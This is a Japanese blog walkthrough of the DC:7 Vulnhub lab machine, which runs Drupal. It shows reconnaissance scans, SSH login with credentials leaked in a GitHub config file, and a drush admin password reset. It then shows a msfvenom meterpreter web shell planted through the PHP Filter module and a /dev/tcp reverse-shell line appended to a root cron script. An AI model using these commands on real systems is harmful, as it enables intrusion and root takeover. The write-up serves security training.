banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

DC:7-Vulnhub ウォークスルー

靶機アドレス

ツールと脆弱性情報#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • droopescan
  • cron ジョブ特権昇格

** 一部ツールの使い方と詳細説明はこのシリーズの第一篇の記事を参照してください:bossplayersCTF:1-Vulnhub ウォークスルー **

0x00 情報収集#

ターゲット機のスキャン情報#

netdiscover-rパラメータで192.168.1.0/16をスキャンした結果は以下の通り:

image

nmapでホストとポート情報をスキャン:

nmap -sS -A -n -T4 -p- 192.168.1.8

image

robots.txtには特に利用できるものはなく、ホームページの最下部にはPowered by Drupalと書かれている。

パスのスキャン#

dirbでパスをスキャン:

dirb http://192.168.1.8

image

dirsearch

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobuster

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

0x01 脆弱性スキャン#

一通りディレクトリを見て回ったが、特に目立ったものはなく、user/login画面にも弱いパスワードは見当たらなかった:

image

さらに、バックエンドでは 5 回のログイン失敗で一時的にロックされる制限があり、ウェブサイトのフレームワークとテンプレートから攻めるしかない。

Github上にはDrupal向けの脆弱性スキャンツールとしてdroopescandrupwnがある。

しかし後者は使いにくいため紹介はしない。

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

image

しかし脆弱性データベースにはスキャン結果のバージョンが含まれていなかった:

image

cms自体の脆弱性は利用できないので、作者自身を攻撃することにした::quyin:OK::

0x01 一般アカウントの取得#

ホームページの下部にはPowered by Drupalの他に、作者の名前@DC7USERがあり、検索したところtwitterアカウントであることがわかった:

image

また、ホームページには大きなgithubリンクがあり、作者は一つのリポジトリstaffdbしか持っていなかった。

config.phpにはアカウントのパスワードとデータベース名が明記されている:

image

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";

そこでsshでログインした:ssh dc7user@192.168.1.9dc7usershellを取得:

image

0x02 shell の取得#

shellを取得したら、まずは現在のディレクトリにどんなファイルがあるか確認する:

image

mboxが目立つので、確認してみる:

image

メールの内容はバックアップのログで、呼び出されているスクリプトは/opt/scripts/backups.shである。

どうやらroot権限で実行されているようだ。もし現在のユーザーがスクリプトの書き込み権限を持っていれば、特権昇格が可能である。

調べたところ、www-datarootユーザーのみが変更できる内容で、Drupalサイトを管理するためのshellである。

image

その中に私の注意を引く一文があった:

drush sql-dump --result-file=/home/dc7user/backups/website.sql

調べたところ、このdrushコマンドはパスワードを変更するために使用できる:

drush user-password USERNAME --password="SOMEPASSWORD"

そこでadminのパスワードを変更しようとしたが、特定のディレクトリ(例:/var/www/html)に移動しないと変更できない:

image

管理者アカウントを取得した後、ウェブサイトにログインしてshellをリバウンドさせる。

image

セキュリティ上の理由から、PHP FilterDrupalコアから削除されている。

その後、モジュールとして存在し、手動でダウンロードしてインストールすることができる:

image

ウェブサイトのモジュールインストール画面/admin/modulesを開く:

image

image

モジュールphpを検索し、先ほどインストールしたPHPを選択して、installをクリックしてモジュールを起動:

image

モジュールがインストールされたら、脆弱性を利用し始めることができる。Contentで新しいBasic pageを作成し、

Titleにページの名前webshellを入力し、BodyにリバウンドshellPHPコードを入れる。

ここではmsfvenomで生成したphp shellを使用する:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw

Text formatの位置はPHP codeを選択:

image

完了したら、操作せずにkaliでポートをリッスンする。

msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

image

最後にPreviewボタンをクリックする。最初は成功しないかもしれないので、Previewを終了して再度試みればよい:

image

取得したshellwww-rootユーザーのものである:

image

0x03 backups.sh で root 権限を取得#

以前のメールにあったバックアップの cron ジョブで使用されるスクリプト/opt/scripts/backups.shrootwww-dataユーザーのみが変更できる。

したがって次は、リバウンドshellのコードをbackups.shスクリプトに追加することになる。

(cron ジョブはroot権限で実行されるため、リバウンドしてくるshellrootユーザーになる)

その後、kaliで該当ポートをリッスンし、cron ジョブの実行を待つ:

シェルを使ってコマンドラインに入る
/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
別の端末で指定ポートをリッスン:nc -lvp 3456
リバウンドシェルコードをbackups.shに書き込む:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

image

ターゲット機が定期的なタスクを実行するのを待つことで、rootshellを取得できる:

image

成功裏にflagを取得:

image

この記事は終わりです。

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。